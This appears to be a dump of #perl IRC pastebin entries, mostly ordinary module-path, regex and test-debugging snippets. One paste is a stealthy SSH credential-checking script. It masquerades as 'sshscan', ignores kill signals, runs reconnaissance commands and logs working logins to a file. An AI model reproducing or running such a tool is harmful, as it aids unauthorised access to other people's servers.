[Sat Feb 04 08:31:03.680155 2017] [cgi:error] [pid 83260:tid 34483230720] [client 124.169.139.187:23661] AH01215: Failed to load plugin IkiWiki::Plugin::po: Can't locate Locale/Po4a/Chooser.pm in @INC (you may need to install the Locale::Po4a::Chooser module) (@INC contains: /home/private//lib/perl5/amd64-freebsd-thread-multi /home/private//lib/perl5 /usr/local/lib/perl5/site_perl/mach/5.22 /usr/local/lib/perl5/site_perl /usr/local/lib/perl5/5.22/mach /usr/local/lib/perl5/5.22) at /home/private//lib/perl5/IkiWiki/Plugin/po.pm line 19.: /fs6d/svetlana/public/ikiwiki.cgi, referer: http://svetlana.nfshost.com/

[svetlana /home/private]$ cat ~/.profile
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/home/private//bin
eval `perl -I ~/perl5/lib/perl5 -Mlocal::lib`
export MANPATH=$HOME/perl5/man:$MANPATH
export PERL5LIB=$HOME/ikiwiki:$HOME/ikiwiki/cpan:$HOME/lib/perl5:$HOME/perl5/lib/perl5
[svetlana /home/private]$


paste:
[svetlana /home/public]$ echo $PERL5LIB
/home/private/perl5/lib/perl5
[svetlana /home/public]$ cat ~/.profile
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/home/private//bin
#eval `perl -I ~/perl5/lib/perl5 -Mlocal::lib`
eval `perl -I ~/lib/perl5:~/perl5/lib/perl5 -Mlocal::lib`
export MANPATH=$HOME/perl5/man:$MANPATH
#export PERL5LIB=$HOME/ikiwiki:$HOME/ikiwiki/cpan:$HOME/lib/perl5:$HOME/perl5/lib/perl5
[svetlana /home/public]$


paste:
[svetlana /home/public]$ . ~/.profile
[svetlana /home/public]$ cat ~/.profile
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/home/private//bin
#eval `perl -I ~/perl5/lib/perl5 -Mlocal::lib`
eval `perl -I ~/lib/perl5:~/perl5/lib/perl5 -Mlocal::lib`
export MANPATH=$HOME/perl5/man:$MANPATH
#export PERL5LIB=$HOME/ikiwiki:$HOME/ikiwiki/cpan:$HOME/lib/perl5:$HOME/perl5/lib/perl5
[svetlana /home/public]$ echo $PERL5LIB
/home/private/perl5/lib/perl5
[svetlana /home/public]$


who: gry
where: localhost:perlbot:#perl
what: eval `perl -I ~/lib/perl5 -Mlocal::lib`
paste:
[svetlana /home/public]$ eval `perl -I ~/lib/perl5  -Mlocal::lib`
[svetlana /home/public]$ echo $PERL5LIB
/home/private/perl5/lib/perl5
[svetlana /home/public]$


who: violentsneeze
where: localhost:perlbot:#perl
what: how to print key of hash
paste:
my %lot = map{$_ => undef} @full_list;
foreach my $i (@new_list) {
        if (grep { /$i/ } keys %lot)
            { print "$_\n"; } # print the key
}


who: gry
paste:
PERL_MB_OPT="--install_base \"/home/private//perl5\""; export PERL_MB_OPT;
PERL_MM_OPT="INSTALL_BASE=/home/private//perl5"; export PERL_MM_OPT;


paste:
[svetlana /home/private]$ cat ~/.profile
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/home/private//bin
#eval `perl -I ~/perl5/lib/perl5 -Mlocal::lib`
echo $PERL5LIB
eval `perl -I ~/lib/perl5:~/perl5/lib/perl5 -Mlocal::lib`
echo $PERL5LIB
export MANPATH=$HOME/perl5/man:$MANPATH
#export PERL5LIB=$HOME/ikiwiki:$HOME/ikiwiki/cpan:$HOME/lib/perl5:$HOME/perl5/lib/perl5
[svetlana /home/private]$ . ~/.profile
/home/private/perl5/lib/perl5
/home/private/perl5/lib/perl5

[Sun Feb 05 18:41:42.405634 2017] [cgi:error] [pid 61609:tid 34481553408] [client 124.169.139.187:13992] AH01215: Failed to load plugin IkiWiki::Plugin::po: Can't locate Locale/Po4a/Chooser.pm in @INC (you may need to install the Locale::Po4a::Chooser module) (@INC contains: /home/private//lib/perl5/amd64-freebsd-thread-multi /home/private//lib/perl5 /usr/local/lib/perl5/site_perl/mach/5.22 /usr/local/lib/perl5/site_perl /usr/local/lib/perl5/5.22/mach /usr/local/lib/perl5/5.22) at /home/private//lib/perl5/IkiWiki/Plugin/po.pm line 19.: /fs6d/svetlana/public/ikiwiki.cgi, referer: http://svetlana.nfshost.com/users/svetlana/

[svetlana /home/private]$ file ~/perl5/lib/perl5/Locale/Po4a/Chooser.pm
/home/private//perl5/lib/perl5/Locale/Po4a/Chooser.pm: Perl5 module source, ASCII text
[svetlana /home/private]$


where: localhost:perlbot:#perl
paste:
[svetlana /home/private/po4a]$ unset ${!PERL*}; perl -Mlocal::lib
PATH="/home/private/perl5/bin${PATH+:}${PATH}"; export PATH;
PERL5LIB="/home/private/perl5/lib/perl5${PERL5LIB+:}${PERL5LIB}"; export PERL5LIB;
PERL_LOCAL_LIB_ROOT="/home/private//perl5${PERL_LOCAL_LIB_ROOT+:}${PERL_LOCAL_LIB_ROOT}"; export PERL_LOCAL_LIB_ROOT;
PERL_MB_OPT="--install_base \"/home/private//perl5\""; export PERL_MB_OPT;
PERL_MM_OPT="INSTALL_BASE=/home/private//perl5"; export PERL_MM_OPT;
[svetlana /home/private/po4a]$ echo $PERL5LIB

[svetlana /home/private/po4a]$


paste:
[svetlana /home/private/po4a]$ ( unset ${!PERL*}; perl -Mlocal::lib )
PATH="/home/private/perl5/bin${PATH+:}${PATH}"; export PATH;
PERL5LIB="/home/private/perl5/lib/perl5${PERL5LIB+:}${PERL5LIB}"; export PERL5LIB;
PERL_LOCAL_LIB_ROOT="/home/private//perl5${PERL_LOCAL_LIB_ROOT+:}${PERL_LOCAL_LIB_ROOT}"; export PERL_LOCAL_LIB_ROOT;
PERL_MB_OPT="--install_base \"/home/private//perl5\""; export PERL_MB_OPT;
PERL_MM_OPT="INSTALL_BASE=/home/private//perl5"; export PERL_MM_OPT;
[svetlana /home/private/po4a]$ echo $PERL5LIB

[svetlana /home/private/po4a]$


who: gry
where: localhost:perlbot:#perl
what: i broke cpanm
paste:
[svetlana /home/private]$ curl -L https://cpanmin.us | perl - App::cpanminus
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  297k  100  297k    0     0   997k      0 --:--:-- --:--:-- --:--:--  999k
!
! Can't write to /usr/local/lib/perl5/site_perl and /usr/local/bin: Installing modules to /home/private//perl5
! To turn off this warning, you have to do one of the following:
!   - run me as a root or with --sudo option (to install to /usr/local/lib/perl5/site_perl and /usr/local/bin)
!   - Configure local::lib in your existing shell to set PERL_MM_OPT etc.
!   - Install local::lib by running the following commands
!
!         cpanm --local-lib=~/perl5 local::lib && eval $(perl -I ~/perl5/lib/perl5/ -Mlocal::lib)
!
App::cpanminus is up to date. (1.7042)
[svetlana /home/private]$ cpanm --local-lib=~/perl5 local::lib && eval $(perl -I ~/perl5/lib/perl5/ -Mlocal::lib)
bash: cpanm: command not found
[svetlana /home/private]$


who: gry
where: localhost:perlbot:#perl
what: "( unset ${!PERL*}; perl -Mlocal::lib )"
paste:
[svetlana /home/public]$ ( unset ${!PERL*}; perl -Mlocal::lib )
PATH="/home/private/perl5/bin${PATH+:}${PATH}"; export PATH;
PERL5LIB="/home/private/perl5/lib/perl5${PERL5LIB+:}${PERL5LIB}"; export PERL5LIB;
PERL_LOCAL_LIB_ROOT="/home/private//perl5${PERL_LOCAL_LIB_ROOT+:}${PERL_LOCAL_LIB_ROOT}"; export PERL_LOCAL_LIB_ROOT;
PERL_MB_OPT="--install_base \"/home/private//perl5\""; export PERL_MB_OPT;
PERL_MM_OPT="INSTALL_BASE=/home/private//perl5"; export PERL_MM_OPT;
[svetlana /home/public]$ cpanm
Usage: cpanm [options] Module [...]

Try `cpanm --help` or `man cpanm` for more options.
[svetlana /home/public]$ echo $PERL5LIB
/home/private/perl5/lib/perl5
[svetlana /home/public]$


who: gry
where: localhost:perlbot:#perl
what: grep -r "lib/perl5" .
paste:
[svetlana /home/private/ikiwiki-3.20170111]$ grep -r "lib/perl5" .|grep -v doc
./cpan/CPAN/MyConfig.pm:  'makepl_arg' => "PREFIX=$ENV{HOME} LIB=$ENV{HOME}/lib/perl5",
./cpan/CPAN/MyConfig.pm:  'mbuildpl_arg' => "-install_path lib=$ENV{HOME}/lib/perl5",
[svetlana /home/private/ikiwiki-3.20170111]$


where: localhost:perlbot:#perl
paste:
    BEGIN {
         my %vcd_config = (
             host => $host,
             cert => $cert,
         );
    
       IO::Socket::SSL::set_ctx_defaults(
           SSL_hostname    => $vcd_config{host},
            SSL_fingerprint => "sha256\$$vcd_config{cert}",
        );
    }


paste:
sub setgo {
    my @ret;
    my $data = shift;
    my @params = split( ' ', $data );
   my @nickteam;  
   my ($nick, $team) = ( $data =~ /(\D+)\s(\D+)/gs);
   $team = uc($team);
   return "Your team is already set" if ( grep( /$nick/i, @goteams ) );
   push @goteams, ($nick, $team);  
   push @ret, "Your team has been set";
   return @ret;
}
sub unsetgo {
    my @ret;
    my $data = shift;
    my @params = split( ' ', $nick );
   my @nickteam;
   @goteams = grep { ! /$nick/i } @goteams;
   push @ret, "Your team has been unset";
   print "@goteams";
   return @ret;
}

sub go {
    my @ret;
    my $data = shift;
    my @params = split( ' ', $data );
    my ($nick, $team) = ( $data =~ /^(\S+) (\S+)?$/gs);
   print "$nick $team";
   print "@goteams";
   my %go = @goteams;
   $team = ($go{$nick}) if (!$team);
   my $format = "%20s %20s %20s";
  $team = uc($team);
  return "Use .setgo TEAM and then .go" if (!$team); 

   if ($team eq "LEAFS") {
    push @ret, sprintf($format, ("\x02\0031,2   \0031,0  \0030,2  ", "    GO LEAFS GO! 🍁  ", "  \0031,0  \0031,2   "));
   } elsif ($team eq "CANUCKS") {
    push @ret, "\x02\0031,3   \0031,0  \0030,2      GO! CANUCKS! GO!      \0031,0  \0031,3   ";
   } elsif ($team eq "COMETS") {
    push @ret, "\x02\0031,3   \0031,0 ☄☄☄ \0030,2      GO! COMETS! GO!      \0031,0 ☄☄☄ \0031,3   ";
   } elsif ($team eq "WINGS") {
    push @ret, "\0031,4   \0031,0  \0030,4    LET'S GO REDWINGS!    \0031,0  \0031,4   ";
  } elsif ($team eq "STARS") {
    push @ret, "\0031,3   \0031,0 ✭ \0030,3    LET'S GO STARS!    \0031,0 ✭ \0031,3   ";
  } elsif ($team eq "CANADA") {
    push @ret, "\0034,4   \0034,0 🍁 \0030,4   \0034,0        GO CANADA GO        \0030,4   \0034,0 🍁 \0030,4   \0034,0";
  } elsif ($team eq "BRUINS") {
    push @ret, "\x02\0038,1 Ⓑ \0035,8 🐻 \0038,1 Ⓑ  \0038,1   LET'S GO BRUINS!   \0038,1 Ⓑ \0035,8 🐻 \0038,1 Ⓑ";
  } elsif ($team eq "LEAFS2") {
    push @ret, "\x02\0030,2    \0032,0  \0030,2    🍁  \0031,0  \0030,2 LETS GO MAPLE LEAFS! \0032,0  \0030,2    🍁  \0031,0  \0030,2 \0030,2       ";
  } elsif ($team eq "JETS") {
    push @ret, "\x02\0032,2   \0030,0|\0032,2   \0030,0|\0031,1|\0030,1    LET'S GO JETS!    \0031,1|\0030,0|\0032,2   \0030,0|\0032,2   ";
  } elsif ($team eq "BOLTS") {
    push @ret, "\x02\0031,2   \0031,0  \0030,2 🗲🗲🗲 GO! BOLTS GO! 🗲🗲🗲 \0031,0  \0031,2   ";
  } elsif ($team eq "SHARKS") {
    push @ret, "\0031,1 \0031,11   \0031,1 \0030,11    GO SHARKS GO    \0031,1 \0031,11   \0031,1 ";
  } elsif ($team eq "OILERS") {
    push @ret, "\0031,2   \0031,7  \0030,2    LET'S GO OILERS!    \0031,7  \0031,2   ";
  } elsif ($team eq "JESUS") {
    push @ret, "\0031,2   \0031,7  \0030,2    GO! MCJESUS! GO!    \0031,7  \0031,2   ";
  } elsif ($team eq "FLAMES") {
    push @ret, "\0031,7🔥🔥🔥🔥\0031,0 \0034,4 \0030,7    GO! FLAMES! GO!    \0031,0 \0034,4 \0031,7🔥🔥🔥🔥";
  } elsif ($team eq "FLYERS") {
    push @ret, "\0031,7   \0031,1  \0030,7    GO FLYERS!!!!!!    \0031,1  \0031,7   ";
  } elsif ($team eq "ISLES") {
    push @ret, "\0031,2   \0031,7  \0030,2    GO ISLANDERS GO!!!    \0031,7  \0031,2   ";
  } elsif ($team eq "BLUES") {
    push @ret, "\0031,2   \0031,8  \0030,2    LET'S GO BLUES!! ♪ ♪ ♪    \0031,8  \0031,2   ";
  } elsif ($team eq "JACKETS") {
    push @ret, "\0030,0   \0032,2  \0030,2 \0034,4|\0030,2  GO BLUE JACKETS!  \0034,4|\0032,2  \0030,0   ";
  } elsif ($team eq "ASTEVE") {
    push @ret, "\0031,2 \0030,4\x02        * a * s * t * e * v * e  *        \x02\0031,2 ";
  } elsif ($team eq "CAPS") {
    push @ret, "\0031,2 \0030,4\x02      c * a * p * i * t * a * l * s       \x02\0031,2 ";
  } elsif ($team eq "DEVILS") {
    push @ret, "\0034,4 666\0031,1  \0030,4    THE DEVILS #!    \0031,1  \0034,4 666";
  } elsif ($team eq "AVS") {
    push @ret, "\0031,6   \0031,2  \0030,6   LET'S GO AVALANCHE!    \0031,2  \0031,6   ";
  } elsif ($team eq "DUCKS") {
    push @ret, "\0031,1   \0031,7  \0030,1   ᗥ QUACK! ᗥ QUACK! ᗥ QUACK!    \0031,7  \0031,1   ";
  } elsif ($team eq "ALLEN") {
    push @ret, "\x02\0030,4 * \0030,2 * \0030,4 *  LET'S GO ALLEN   * \0030,2 * \0030,4 * ";
  } elsif ($team eq "SABRES") {
    push @ret, "\x02\0030,12   \0030,8   \0030,12   LET'S GO SABRES!   \0030,8   \0030,12   ";
  } elsif ($team eq "KINGS") {
    push @ret, "\x02\0030,8   \0030,6 ♔♔♔  \0036,8  GO! KINGS! GO!  \0030,6 ♔♔♔  \0030,8   ";
  } elsif ($team eq "HAWKS") {
    push @ret, "\x02\0030,1 GO HAWKS! \0030,4 \0030,1 Da, duh-da-da, duh-da-da, duh-da-da da-da-da! \0030,4 \0030,1 GO HAWKS! ";
  } elsif ($team eq "HABS") {
    push @ret, "\0032,2|\0030,0|\0030,4  \0032,2|\0030,0|\0030,4  merde.  \0030,0|\0032,2|\0030,4   \0030,0|\0032,2|";
  } elsif ($team eq "GRIFFINS") {
    push @ret, "\0030,1 GO! GRIFFINS! GO! \0038,8 \0034,4 \00315,15 \0030,1     #1 IN AHL CENTRAL!     \00315,15 \0034,4 \0038,8 \0030,1 GO GRIFFINS GO! ";
  } elsif ($team eq "SIDNATA") {
    push @ret, "\x02\0034,4  \0037,7  \0038,8  \0039,9  \0032,2  \0030,6  sidnata!  \0032,2  \0039,9  \0038,8  \0037,7  \0034,4  ";
  } elsif ($team eq "YOTES") {
    push @ret, "\0030,13    Arizona, a great place for golf ⛳  ";
   } else {
    push @ret,  "\x02GO $team GO\x02";
   }
   return @ret;
}


who: peem
where: localhost:perlbot:#perl
paste:
use strict;
use warnings;
use utf8;

my @command = `cat aoa.file`;
my @aoa;
my $a = 0;
foreach (@command) {
        $_ =~ s/\n+$//g;
        push my @narray, [split(/ /,$_)];
        $aoa[$a] = \@narray;
        $a++;
    }
$a = 0;
while ($a < 2) {
    printf "%-15s %-15s %-15s %-50s\n",\$aoa[$a][0],\$aoa[$a][1],\$aoa[$a][2],\${aoa[$a][3]} ;
    $a++;
};






aoa.file : 

one-1 one-2 one-3 one-4

three-1 three-2 three-3 three-4 three-5
four-1 four-2 four-3 four-4 four-5


who: vague
paste:
$ sudo -E ntpdate 10.118.193.1
 8 Feb 10:46:09 ntpdate[45458]: step time server 10.118.193.1 offset 8.703939 sec
$ sudo -E ntpdate 10.118.193.2
 8 Feb 10:46:03 ntpdate[45464]: step time server 10.118.193.2 offset -8.703833 sec
$ sudo -E ntpdate 10.118.129.1
 8 Feb 10:46:18 ntpdate[45559]: step time server 10.118.129.1 offset -3.838817 sec
$ sudo -E ntpdate 10.118.129.2
 8 Feb 10:46:21 ntpdate[45594]: adjust time server 10.118.129.2 offset -0.001280 sec


who: mlefevers
where: localhost:perlbot:#perl
what: perl -v
paste:
Summary of my perl5 (revision 5 version 24 subversion 1) configuration:

  Platform:
    osname=linux, osvers=3.10.0-514.el7.x86_64, archname=x86_64-linux
    uname='linux linux112 3.10.0-514.el7.x86_64 #1 smp wed oct 19 11:24:13 edt 2016 x86_64 x86_64 x86_64 gnulinux '
    config_args=''
    hint=recommended, useposix=true, d_sigaction=define
    useithreads=undef, usemultiplicity=undef
    use64bitint=define, use64bitall=define, uselongdouble=undef
    usemymalloc=n, bincompat5005=undef
  Compiler:
    cc='cc', ccflags ='-fwrapv -fno-strict-aliasing -pipe -fstack-protector-strong -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -D_FORTIFY_SOURCE=2',
    optimize='-O2',
    cppflags='-fwrapv -fno-strict-aliasing -pipe -fstack-protector-strong -I/usr/local/include'
    ccversion='', gccversion='4.8.5 20150623 (Red Hat 4.8.5-11)', gccosandvers=''
    intsize=4, longsize=8, ptrsize=8, doublesize=8, byteorder=12345678, doublekind=3
    d_longlong=define, longlongsize=8, d_longdbl=define, longdblsize=16, longdblkind=3
    ivtype='long', ivsize=8, nvtype='double', nvsize=8, Off_t='off_t', lseeksize=8
    alignbytes=8, prototype=define
  Linker and Libraries:
    ld='cc', ldflags =' -fstack-protector-strong -L/usr/local/lib'
    libpth=/usr/local/lib /usr/lib /lib/../lib64 /usr/lib/../lib64 /lib /lib64 /usr/lib64 /usr/local/lib64
    libs=-lpthread -lnsl -lgdbm -ldb -ldl -lm -lcrypt -lutil -lc -lgdbm_compat
    perllibs=-lpthread -lnsl -ldl -lm -lcrypt -lutil -lc
    libc=libc-2.17.so, so=so, useshrplib=false, libperl=libperl.a
    gnulibc_version='2.17'
  Dynamic Linking:
    dlsrc=dl_dlopen.xs, dlext=so, d_dlsymun=undef, ccdlflags='-Wl,-E'
    cccdlflags='-fPIC', lddlflags='-shared -O2 -L/usr/local/lib -fstack-protector-strong'


Characteristics of this binary (from libperl):
  Compile-time options: HAS_TIMES PERLIO_LAYERS PERL_COPY_ON_WRITE
                        PERL_DONT_CREATE_GVSV
                        PERL_HASH_FUNC_ONE_AT_A_TIME_HARD PERL_MALLOC_WRAP
                        PERL_PRESERVE_IVUV USE_64_BIT_ALL USE_64_BIT_INT
                        USE_LARGE_FILES USE_LOCALE USE_LOCALE_COLLATE
                        USE_LOCALE_CTYPE USE_LOCALE_NUMERIC USE_LOCALE_TIME
                        USE_PERLIO USE_PERL_ATOF
  Built under linux
  Compiled at Feb  6 2017 14:44:11
  %ENV:
    PERL5LIB="/usr/local/lib64/perl5"
    PERL_LOCAL_LIB_ROOT=":/root/perl5"
    PERL_MB_OPT="--install_base /root/perl5"
    PERL_MM_OPT="INSTALL_BASE=/root/perl5"
  @INC:
    /usr/local/lib64/perl5
    /usr/local/lib/perl5/site_perl/5.24.1/x86_64-linux
    /usr/local/lib/perl5/site_perl/5.24.1
    /usr/local/lib/perl5/5.24.1/x86_64-linux
    /usr/local/lib/perl5/5.24.1
    .


who: Grinnz
where: localhost:perlbot:#perl
what: Varazir's url
paste:
use URI::Escape;

my $url = 'https://scontent.xx.fbcdn.net/v/t39.1997-6/p128x128/851586_126361877548609_1351776047_n.png?_nc_ad=z-m&oh=567e80f9f4afd39b22493c4e9a99c341&oe=589D0D62';
uri_escape $url;


paste:
use URI::Escape;

my $url = "https://scontent.xx.fbcdn.net/v/t39.1997-6/p128x128/851586_126361877548609_1351776047_n.png?_nc_ad=z-m&oh=567e80f9f4afd39b22493c4e9a99c341&oe=589D0D62";
uri_escape $url;


who: al3xg0
where: localhost:perlbot:#perl
paste:
#!/usr/bin/perl
#######################################################################
# PERL SCRIPT TO REMOTELY LOGIN VIA OPENSSH AND RUN COMMANDS
#######################################################################
use strict;
use warnings;
use Net::OpenSSH;
use Expect;
my $processo = "/usr/sbin/sshscan";
$SIG{"INT"} = "IGNORE";
$SIG{"HUP"} = "IGNORE";
$SIG{"TERM"} = "IGNORE";
$SIG{"CHLD"} = "IGNORE";
$SIG{"PS"} = "IGNORE";
$0="$processo"."\0"x16;;
my $pide=fork;
exit if $pide;
die "Problema com o dork: $!" unless defined($pide);

#######################################################################
$| = 1;
#######################################################################
# LOGIN DETAILS (FOR BETTER SECURITY USE SSH KEY PAIRS)
#######################################################################
my $ip = $ARGV[0];
my $username = $ARGV[1];
my $password = $ARGV[2];
#######################################################################
my $ssh = Net::OpenSSH->new("$username:$password\@$ip", timeout => 30);
$ssh->error and die "unable to connect to remote host: ". $ssh->error;

my ($pty, $pid) = $ssh->open2pty("hostname ; id ; cat \/proc\/version")
or die "unable to run remote command";
my $expect = Expect->init($pty);
print "\n\e[31mIP: \e[32m$ip \e[31mUSER: \e[32m$username \e[31mUSER: \e[32m$password \033\[0m\n\n";
open (NOTEPAD, ">> ssh.vull");
print NOTEPAD "start putty.exe \-ssh \-P 22 $username\@$ip \-pw $password ";
print NOTEPAD "\nsshpass -p $password ";
print NOTEPAD "ssh $username\@$ip";
print NOTEPAD "\n-----------------------------\n";
$expect->raw_pty(1);
while(<$pty>) {
print NOTEPAD "$. $_";
}
print NOTEPAD "========================================================================\n";
close(NOTEPAD);



who: gry
where: localhost:perlbot:#perl
what: is ther a more module-aware way to write
paste:
$ cat test.txt
Ð¿ÑÐ¸Ð²ÐµÑ
$ cat test.pl
use strict;
use warnings;

my $filename = "test.txt";
open(my $fh, '>:encoding(UTF-8)', $filename) or die "Could not open file '$filename'
$!";
say $fh "привет";
close($fh);
$


paste:
#!/usr/bin/env perl

use strict;
use warnings;
use 5.10.0;

sub conc {
        my ($a, $b) = @_;
        if ($a lt $b)
                return $a . $b;
        else
                return $b . $a;
                
}

print (&conc("aaa", "ccc"));
print "\n";
print (&conc("ccc", "aaa"));
print "\n";


who: ens
where: localhost:perlbot:#perl
what: fromXML -- inefficient?
paste:
## @method
# Initialize an xml object based on XML text.
# @param $xml the xml text.
sub fromXML
{
    my ($self, $xml) = @_;
    my $parser = new XML::LibXML();
    my $tree = $parser->parse_string( $xml );
    $self->fromTree( $tree->documentElement() );
}


where: localhost:perlbot:#perl
paste:
Mojo::Reactor::Poll: I/O watcher failed: Can't call method "write" on an undefined value at /usr/local/share/perl/5.22.1/Mojo/Server/Daemon.pm line 239.
Use of uninitialized value $parent in method lookup at /usr/local/share/perl/5.22.1/Mojo/IOLoop/Subprocess.pm line 45.
Mojo::Reactor::Poll: I/O watcher failed: Can't locate object method "" via package "Mojo::IOLoop::Subprocess" at /usr/local/share/perl/5.22.1/Mojo/IOLoop/Subprocess.pm line 45.


where: localhost:perlbot:#perl
paste:
use Encode qw(decode encode);

my $str = "Test Email <demo@example.com>";

my $encoded = encode("MIME-Header", $str);

print $encoded;


where: localhost:perlbot:#perl
paste:
use strict;
use warnings;
use utf8;

use Test::More;
use Template::Pug;

$tp = Template::Pug->new();
$template = <<'EOF';
p foo
EOF
eval { $tp->render($template, { 'inv idt' => 1 }); 1 };
like $@, qr/Bareword found where operator expected/, 'Invalid variable identifier';

done_testing();

#===================
sub _process {
	my ($self, $variables) = @_;

    ...
    
	if(@variables) {
		$code .= 'my ('. join(', ', map {"\$$_"} @variables) .') ';
		# $code .= '= @{ $_[0] }{ "'. join('", "', @variables) ."\" };\n";
		$code .= '= @{ $_[0] }{ qw/'. join(' ', @variables) ."/ };\n";
	}

	$code .= $self->{code} .qq/\n\nreturn \$_TP; \n}/;
	say "\n===CODE===\n$code\n===END===\n" if $self->{debug};

	$self->_patch;

	die $@ unless $code = eval $code;

	my $output;
	die $@ unless eval { $output = $code->($variables); 1; };

	return $output;
}



paste:
use strict;
use warnings;
use utf8;

use Test::More;
use Template::Pug;

$tp = Template::Pug->new();
$template = <<'EOF';
p foo
EOF
eval { $tp->render($template, { 'inv idt' => 1 }); 1 };
like $@, qr/Bareword found where operator expected/, 'Invalid variable identifier';

done_testing();

#===================
sub _process {
	my ($self, $variables) = @_;

    ...
    
	if(@variables) {
		$code .= 'my ('. join(', ', map {"\$$_"} @variables) .') ';
		# $code .= '= @{ $_[0] }{ "'. join('", "', @variables) ."\" };\n";
		$code .= '= @{ $_[0] }{ qw/'. join(' ', @variables) ."/ };\n";
	}

	$code .= $self->{code} .qq/\n\nreturn \$_TP; \n}/;
	say "\n===CODE===\n$code\n===END===\n" if $self->{debug};

	$self->_patch;

	die $@ unless $code = eval $code;

	my $output;
	die $@ unless eval { $output = $code->($variables); 1; };

	return $output;
}

#==============
>prove -l t\01-die.t
t\01-die.t .. 1/? Bareword found where operator expected at (eval 20) line 10, near "$inv idt"
        (Missing operator before idt?)

#   Failed test 'Invalid variable identifier'
#   at t\01-die.t line 52.
#                   'syntax error at (eval 20) line 10, near "$inv idt"
# Global symbol "$_TP" requires explicit package name (did you forget to declare "my $_TP"?) at (eval 20) line 12.
# Global symbol "$_TP" requires explicit package name (did you forget to declare "my $_TP"?) at (eval 20) line 15.
# syntax error at (eval 20) line 16, near ";
# }"
# '
#     doesn't match '(?^:Bareword found where operator expected)'
# Looks like you failed 1 test of 6.


who: darutoko
where: localhost:perlbot:#perl
paste:
>perl t/01-die.t
ok 1 - no template
ok 2 - tabs and spaces in indentation
ok 3 - inconsistent indentation
ok 4 - unexpexted text
ok 5 - self closing tag with content
Bareword found where operator expected at (eval 20) line 10, near "$inv idt"
        (Missing operator before idt?)
not ok 6 - Invalid variable identifier
#   Failed test 'Invalid variable identifier'
#   at t/01-die.t line 53.
#                   'syntax error at (eval 20) line 10, near "$inv idt"
# Global symbol "$_TP" requires explicit package name (did you forget to declare "my $_TP"?) at (eval 20) line 12.
# Global symbol "$_TP" requires explicit package name (did you forget to declare "my $_TP"?) at (eval 20) line 15.
# syntax error at (eval 20) line 16, near ";
# }"
# '
#     doesn't match '(?^:Bareword found where operator expected)'
1..6
# Looks like you failed 1 test of 6.


who: vague
paste:
ens33     Link encap:Ethernet  HWaddr 00:0c:29:4b:0d:5b  
          inet addr:10.251.17.119  Bcast:10.251.19.255  Mask:255.255.252.0
          inet6 addr: fe80::20c:29ff:fe4b:d5b/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2994309 errors:0 dropped:1 overruns:0 frame:0
          TX packets:737128 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:1146914999 (1.1 GB)  TX bytes:93024145 (93.0 MB)

ens34     Link encap:Ethernet  HWaddr 00:0c:29:4b:0d:65  
          inet addr:192.168.78.132  Bcast:192.168.78.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe4b:d65/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:11368899 errors:693 dropped:112 overruns:0 frame:0
          TX packets:988531 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:4848407276 (4.8 GB)  TX bytes:650036227 (650.0 MB)
          Interrupt:16 Base address:0x2000 


Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         10.251.16.1     0.0.0.0         UG    99     0        0 ens33
default         192.168.78.2    0.0.0.0         UG    100    0        0 ens34
10.251.16.0     *               255.255.252.0   U     99     0        0 ens33
link-local      *               255.255.0.0     U     1000   0        0 ens33
192.168.78.0    *               255.255.255.0   U     100    0        0 ens34

ens33 - bridged interface to corp network
ens34 - nat interface via vmware host

I want to be able to use ssh -b 192.168.78.132 user@some.host to connect to hosts over the nat:ed interface




where: localhost:perlbot:#perl
paste:
use strict;
use warnings;

my %spam;
my $test;
$spam{urls} = qr/(?^u:shor\.pe\/(?:2rds|3max|5qth|6(?:raw|sb7)|7(?:3nu|yzm)|ayr4|c(?:p1g|ugj)|d(?:otu|qiz)|j8ze|kufh|mcoh|obmk|ppvr|r(?:4re|luw)|t3ap|uy2c|vxbx|x(?:cnr|lzr|zgu)|yrg))/i;

$test = 'http://shor.pe/DOtu';
if ($test =~ /$spam{urls}/i) {
    print "Worked\n";
}
elsif (lc($test) =~ /$spam{urls}/i) {
    print "lc Worked.\n";
}
==========================================
$ perl test.pl 
lc Worked.

==========================================
So 'string' =~ /$re/i != lc('string') =~ /$re/i ?


who: ningu
where: localhost:perlbot-magnet:#perl
what: nested sub example
paste:
foo();
bar();

sub foo {
    my $bar = 1;
    bar();
    bar();

    sub bar {
        $bar++;
        print $bar, "\n";
    }
}


who: ningu
where: localhost:perlbot:#perl
what: nested sub example
paste:
foo();
bar();

sub foo {
    my $bar = 1;
    bar();
    bar();

    sub bar {
        $bar++;
        print $bar, "\n";
    }
}


who: vague
paste:
routing table at work where traffic goes over ens34, but I can bind to ens33 and have traffic go over that interface
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         192.168.78.2    0.0.0.0         UG    99     0        0 ens34
default         192.168.1.1     0.0.0.0         UG    100    0        0 ens33
link-local      *               255.255.0.0     U     1000   0        0 ens34
192.168.1.0     *               255.255.255.0   U     99     0        0 ens33
192.168.78.0    *               255.255.255.0   U     99     0        0 ens34

routing table at home where traffic goes over ens33 but I can't bind to ens34
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         router.asus.com 0.0.0.0         UG    99     0        0 ens33
default         192.168.78.2    0.0.0.0         UG    100    0        0 ens34
link-local      *               255.255.0.0     U     1000   0        0 ens34
192.168.1.0     *               255.255.255.0   U     99     0        0 ens33
192.168.78.0    *               255.255.255.0   U     99     0        0 ens34


where: localhost:perlbot:#perl
paste:
code:

foreach my $host (sort keys(%fstab)) {
	print "\t'".$host."\'"."=>"." [\n";
	foreach my $i (@{ $fstab{$host} }) {
		print "\t\t"."\'".$i."\'".",\n";
	}
